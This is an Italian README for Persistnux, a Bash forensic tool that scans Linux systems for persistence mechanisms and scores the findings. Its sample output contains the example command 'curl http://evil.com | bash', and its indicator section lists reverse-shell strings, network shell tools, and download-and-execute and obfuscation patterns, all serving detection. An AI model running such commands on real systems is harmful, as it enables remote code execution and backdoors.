
Strumento di rilevamento della persistenza su Linux basato su Bash per indagini DFIR. Scansiona più di 15 meccanismi di persistenza (systemd, cron, moduli del kernel, SSH, container) con punteggio di confidenza e genera report CSV/JSONL per analisi forensi.
# Persistnux
Uno strumento completo per la rilevazione di persistenza su Linux per indagini di Digital Forensics e Incident Response (DFIR).
## Panoramica
Persistnux è uno strumento basato su bash progettato per identificare i meccanismi di persistenza Linux noti utilizzati dagli aggressori per mantenere l'accesso a sistemi compromessi. Esegue controlli completi su tutto il sistema e genera report dettagliati in formato CSV e JSONL per analisi successive.
## Caratteristiche
- **Rilevazione Completa**: Copre tutti i principali meccanismi di persistenza Linux
- **Analisi Live**: Viene eseguito direttamente su sistemi live con dipendenze minime
- **Output Dettagliato**: Genera report CSV e JSONL con hash dei file, metadati e punteggi di confidenza
- **Root e Non-Root**: Funziona con o senza privilegi di root (con ambito limitato per non-root)
- **Pronto per DFIR**: Formati di output compatibili con strumenti e flussi di lavoro DFIR comuni
- **Punteggio di Sospetto**: Punteggio di confidenza automatico (BASSO, MEDIO, ALTO, CRITICO) basato su indicatori
- **Riduzione dei Falsi Positivi**: Integrazione con il gestore pacchetti e whitelist di servizi noti come sicuri
- **Analisi Temporale**: I file modificati di recente ricevono punteggi di confidenza più alti
- **Corrispondenza di Pattern**: Rileva reverse shell, pattern di download-esecuzione, tecniche di offuscamento
## Meccanismi di Persistenza Rilevati
### 1. Servizi Systemd
- File di servizio (`.service`) in `/etc/systemd/system`, `/lib/systemd/system`, `/usr/lib/systemd/system`
- Servizi systemd a livello utente
- Filtra i servizi disabilitati e i servizi senza ExecStart
- Rileva comandi ExecStart sospetti
- Verifica l'integrità del pacchetto dei binari/script eseguiti
### 2. Cron Jobs & Attività Pianificate
- Crontab di sistema (`/etc/crontab`, `/etc/cron.d/*`)
- Directory di esecuzione periodica (`/etc/cron.{daily,hourly,weekly,monthly}`)
- Crontab utente per tutti gli utenti (modalità root)
- Job at
- Pattern di comandi sospetti nelle attività pianificate
- File ACL `/etc/cron.allow` e `/etc/cron.deny` — voci che riferiscono utenti inesistenti segnalate
### 3. Profili Shell & File RC
- Profili di sistema (`/etc/profile`, `/etc/bash.bashrc`, `/etc/zshrc`)
- Script Profile.d (`/etc/profile.d/*`)
- Profili utente (`.bashrc`, `.bash_profile`, `.zshrc`, `.profile`, ecc.)
- Configurazioni Fish shell
- Rileva comandi malevoli nei file di profilo
### 4. Script Init & RC.local
- `/etc/rc.local` e varianti
- Script init SysV (`/etc/init.d`)
- Script di runlevel (`/etc/rc*.d`)
- Rileva comandi di download/esecuzione sospetti
### 5. Moduli del Kernel & Precaricamento Librerie
- Configurazioni LD_PRELOAD (`/etc/ld.so.preload`) — ogni libreria elencata verificata tramite il gestore pacchetti
- Configurazioni del linker dinamico (`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`) — integrità del file di configurazione + file `.so` in percorsi non standard scansionati e verificati
- `/etc/environment` LD_PRELOAD/LD_LIBRARY_PATH — file env segnalato come ALTO; percorsi di librerie referenziate verificati (non gestiti/modificati → CRITICO)
- Parametri dei moduli del kernel (`/etc/modprobe.d/`, `/etc/modprobe.conf`) — integrità dei file; direttive `install` analizzate per bersagli di comandi sospetti; `blacklist` di moduli di sicurezza (apparmor, selinux, seccomp) segnalati come ALTI
- Configurazioni di auto-caricamento dei moduli del kernel (`/etc/modules`, `/etc/modules-load.d/`) — integrità della configurazione; nomi dei moduli referenziati risolti in file `.ko` tramite `modinfo` e verificati
- Moduli del kernel caricati (`lsmod`) — enumerazione e verifica dell'integrità
### 6. Meccanismi Aggiuntivi
- Voci di avvio automatico XDG (`.config/autostart`, `/etc/xdg/autostart`) — tutte le home utente scansionate quando root
- File di ambiente di sistema (`/etc/environment`) — percorsi di librerie LD_PRELOAD/LD_LIBRARY_PATH verificati
- Configurazioni sudoers e drop-in (`/etc/sudoers`, `/etc/sudoers.d/`) — pattern NOPASSWD/ALL → ALTO
- PAM (Moduli di Autenticazione Pluggable):
- Tutti i moduli `.so` verificati tramite il gestore pacchetti; direttive `@include` seguite; `/etc/pam.conf` incluso
- Analisi script `pam_exec.so` — script mancanti/sospetti → CRITICO
- Rilevamento relay `pam_python.so` / `pam_perl.so` — script estratto e analizzato
- Rilevamento file hook `pam_script.so` in `/etc/security/`
- Integrità dei file di configurazione — configurazioni PAM di proprietà del pacchetto modificate → CRITICO
- Verifica libreria LD_PRELOAD in `pam_env.conf` e `~/.pam_environment`
- Scansione generale di `/etc/security/`
- Script MOTD (`/etc/update-motd.d/`) — verifica pacchetto; modificato → CRITICO
- Helper di credenziali Git e impostazioni core.pager — analisi del contenuto per tutti gli utenti
- Web shell nelle directory web comuni
### 8. Persistenza SSH
- Per utente `~/.ssh/authorized_keys` — chiavi modificate di recente segnalate; contenuto dell'opzione `command=` analizzato per pattern sospetti
- Per utente `~/.ssh/rc` — presenza segnalata MEDIO; contenuto sospetto/reverse shell → ALTO/CRITICO
### 9. Hijacking di Binari
- Verifica i binari di sistema installati rispetto al database dei pacchetti (`dpkg -V` su Debian/Ubuntu, `rpm -Va` su RHEL/CentOS)
- File modificati in `/usr/bin`, `/usr/sbin`, `/bin`, `/sbin` → risultato CRITICO
- Moduli PAM modificati in `/lib/security` → risultato CRITICO
- I conffiles (file di configurazione dpkg) sono esclusi per evitare falsi positivi
### 10. Bootloader & Initramfs
- Iniezione del parametro del kernel `init=` di GRUB (`/etc/default/grub`, `/etc/default/grub.d/*.cfg`)
- Script init a livello root in `/`
- Moduli initramfs Dracut con hook `pre-pivot` che scrivono in `/sysroot/etc/shadow`
- Script hook initramfs-tools di Ubuntu in `/etc/initramfs-tools/scripts/` e `/hooks/`
- Immagini `/boot/initrd.img-*` modificate di recente (basate su mtime)
### 11. Manipolazione di Polkit (PolicyKit)
- File `.pkla` con `ResultAny/ResultInactive/ResultActive=yes` incondizionati
- Concessioni di identità wildcard (`unix-user:*`)
- File `.rules` con `polkit.Result.YES` incondizionato (Polkit basato su JavaScript >= 0.106)
### 12. D-Bus & NetworkManager
- Registrazione malevola del servizio di sistema D-Bus `Exec=` (`/usr/share/dbus-1/system-services/`)
- Direttive wildcard delle policy D-Bus `allow own="*"` o `send_destination="*"`
- Script dispatcher di NetworkManager (`/etc/NetworkManager/dispatcher.d/`)
### 13. Regole Udev
- Direttive Udev `RUN+=` che eseguono comandi o script arbitrari (`/etc/udev/rules.d/`, `/lib/udev/rules.d/`)
- Regole iniettate a runtime in `/run/udev/rules.d/`
- Pattern di delega `at`/`cron` in `RUN+=` (comune bypass delle restrizioni di primo piano)
### 14. Fuga dal Contenitore
- Contenitori Docker privilegiati (`--privileged`, `--pid=host`)
- Bind-mount di `docker.sock` nei contenitori (controllo completo dell'host tramite API Docker)
- `nsenter -t 1` negli entrypoint dei contenitori o nei Dockerfile
- Dockerfile in directory scrivibili dall'utente contenenti tecniche di fuga
### 15. Controlli Avanzati su Binari e Privilegi
- Scansione attiva del filesystem per file SUID/SGID nelle directory di sistema
- Scansione delle capacità dei file tramite `getcap` — `cap_setuid+ep` su GTFOBins → CRITICO
- Hijacking di binari: originali rinominati (`.original`, `.old`, `.bak`, `.real`) con script wrapper
- Account non-root con UID 0 in `/etc/passwd`
- Mascheramento della shell tramite spazio finale nel campo shell di `/etc/passwd`
- Account di sistema (UID 1-999) con file SSH `authorized_keys`
## Installazione
```bash
# Clona il repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Rendi eseguibile lo script
chmod +x persistnux.sh
```
## Utilizzo
### Utilizzo Base (Analisi Live)
```bash
# Esecuzione con impostazioni predefinite (mostra solo risultati sospetti)
sudo ./persistnux.sh
# Mostra l'aiuto e tutte le opzioni
./persistnux.sh --help
# Esecuzione come utente normale (ambito limitato)
./persistnux.sh
```
### Opzioni di Filtraggio (v2.4+)
Per impostazione predefinita, Persistnux mostra solo **risultati sospetti** (confidenza MEDIA, ALTA, CRITICA) per ridurre il rumore e concentrarsi sulle minacce potenzialmente pericolose.
```bash
# Predefinito: Mostra solo risultati sospetti
sudo ./persistnux.sh
# Mostra tutti i risultati inclusa la linea di base (confidenza BASSA)
sudo ./persistnux.sh --all
# OPPURE
sudo FILTER_MODE=all ./persistnux.sh
# Mostra solo risultati con confidenza ALTA e CRITICA
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combina filtri: solo confidenza ALTA
sudo ./persistnux.sh --min-confidence HIGH
```
### Directory di Output Personalizzata
```bash
# Specifica una directory di output personalizzata
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combina con il filtraggio
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```
### File di Output
Per impostazione predefinita, Persistnux crea una directory di output `./persistnux_output/` contenente:
- `persistnux_<hostname>_<timestamp>.csv` - Report in formato CSV
- `persistnux_<hostname>_<timestamp>.jsonl` - Report in formato JSONL (un oggetto JSON per riga)
- `persistnux_<hostname>_<timestamp>_report.txt` - Report di riepilogo leggibile con conteggi dei risultati e metadati di scansione
## Formato di Output
### Formato CSV
```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```
### Formato JSONL
```json
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
```
### Campi Chiave dell'Output
- **matched_pattern**: Il pattern di rilevamento che ha attivato il risultato (es. `suspicious_script_content`, `modified_package`, `unmanaged_binary`)
- **matched_string**: Il contenuto sospetto effettivo trovato (riga completa, non solo la parola chiave)
## Punteggio di Confidenza
Persistnux utilizza un punteggio di confidenza intelligente per ridurre i falsi positivi:
- **BASSO**: Configurazione di sistema standard, scarsa sospettosità (spesso file gestiti da pacchetti)
- **MEDIO**: Potenzialmente sospetto ma potrebbe essere legittimo
- **ALTO**: Pattern sospetti rilevati (es. curl/wget in cron, esecuzione in /tmp, reverse shell)
- **CRITICO**: Prova definitiva di manomissione — fallimento della verifica dell'integrità del pacchetto, SUID/SGID su un file sospetto, anomalia del modulo PAM, generatore systemd in posizione effimera, o codice interprete inline con payload ad alta entropia
### Riduzione dei Falsi Positivi (v1.2+)
Persistnux ora include diverse funzionalità per ridurre i falsi positivi:
1. **Integrazione con il Gestore Pacchetti**: I file gestiti da `dpkg` (Debian/Ubuntu) o `rpm` (RedHat/CentOS) ricevono punteggi di confidenza inferiori
2. **Whitelist di Servizi Noti**: I servizi comuni dei vendor (systemd-*, dbus-*, snap.*, ecc.) vengono saltati automaticamente
3. **Punteggio Temporale**: I file modificati di recente (<7 giorni) ricevono punteggi di confidenza più alti
4. **Analisi Contestuale**: Combina più indicatori per una rilevazione più accurata
## Indicatori Sospetti
Persistnux segnala automaticamente gli elementi con confidenza maggiore quando rileva:
### Pattern Basati su Rete
- Reverse shell: `bash -i >& /dev/tcp/`, `sh -i >& /dev/udp/`
- Strumenti di rete: `nc`, `netcat`, `socat`, `telnet`
- Operazioni socket in linguaggi di scripting: `python -c 'import socket'`
### Pattern di Download ed Esecuzione
- Strumenti di download: `curl | bash`, `wget | sh`
- Download con esecuzione: `curl URL -o /tmp/file && chmod +x`
### Tecniche di Offuscamento
- Codifica: `base64 -d | bash`, `eval $(echo BASE64)`
- Esecuzione dinamica: `eval`, `exec`
### Posizioni Sospette
- Directory temporanee: `/tmp`, `/dev/shm`, `/var/tmp`
- Directory e file nascosti
### Manipolazione dei Permessi
- Rendere i file eseguibili: `chmod +x`, `chmod 777`
- Manipolazione del bit SUID: `chmod u+s`
## Requisiti
- Bash 4.0+
- Utility Unix standard: `find`, `grep`, `stat`, `sha256sum`, `awk`, `file`
- Opzionale: `systemctl`, `lsmod`, `modinfo`, `getcap`, `dpkg`/`rpm` (per controlli specifici)
- Nessuna dipendenza da interpreti (bash puro + coreutils; non richiede `python`/`jq`)
- Accesso root/sudo consigliato per un'analisi completa
## Testato Su / Compatibilità
| Distribuzione | Stato | Note |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Testato | Piattaforma principale di sviluppo e test |
| Ubuntu 20.04 LTS | ✅ Testato | Pienamente supportato |
| Debian 11/12 | ✅ Testato | Basato su dpkg, stesse convenzioni di percorso |
| Kali Linux (rolling) | ✅ Testato | Utilizzato per il benchmark di rilevamento PANIX (vedi sotto) |
| RedHat / RHEL | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
| Fedora | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
| CentOS / AlmaLinux / Rocky | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
> **Nota:** Lo strumento è principalmente testato su sistemi **Ubuntu/Debian**. Le distribuzioni RedHat, Fedora e basate su RPM hanno il supporto del gestore pacchetti implementato nel codice ma non sono state validate in ambienti di test live. Contributi e report di test per distribuzioni basate su RPM sono benvenuti.
## Test / Benchmark
Persistnux è confrontato con [**PANIX**](https://github.com/Aegrah/PANIX),
che installa gli stessi meccanismi di persistenza che Persistnux cerca. L'harness
ripetibile in [`tests/panix_benchmark.sh`](https://github.com/go-lanz/persistnux/blob/main/tests/panix_benchmark.sh) applica ogni
tecnica PANIX, esegue Persistnux e conferma la rilevazione tramite un diff di base.
Ogni tecnica PANIX basata su file applicabile sulla macchina di test viene rilevata
con confidenza `MEDIA`+. Vedi [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md) per la tabella
di copertura completa e la metodologia.
> ⚠️ Il benchmark installa backdoor reali — eseguilo solo in una VM monouso.
## Roadmap
- [ ] Modalità di analisi offline per immagini disco forensi
- [ ] Integrazione con la raccolta UAC (Unix-like Artifacts Collector)
- [ ] Estendere il benchmark PANIX ai vettori bootloader/initramfs/LKM su una VM completa
## Risorse
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX
## Contribuire
I contributi sono benvenuti! Sentiti libero di inviare pull request o aprire issue per:
- Rilevazione di nuovi meccanismi di persistenza
- Correzione di bug
- Miglioramenti alla documentazione
- Ottimizzazioni delle prestazioni
- Formati di output aggiuntivi
## Licenza
Licenza MIT - Vedi il file LICENSE per i dettagli
## Riconoscimenti
Sviluppato per la comunità DFIR per assistere nelle indagini di incidenti Linux e nelle analisi forensi.
## Dichiarazione di non responsabilità
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, risposta agli incidenti e analisi forensi. Gli utenti sono responsabili di assicurarsi di avere l'autorizzazione appropriata prima di eseguire questo strumento su qualsiasi sistema.
## Contatti
Per domande, problemi o contributi, utilizza il tracker dei problemi su GitHub.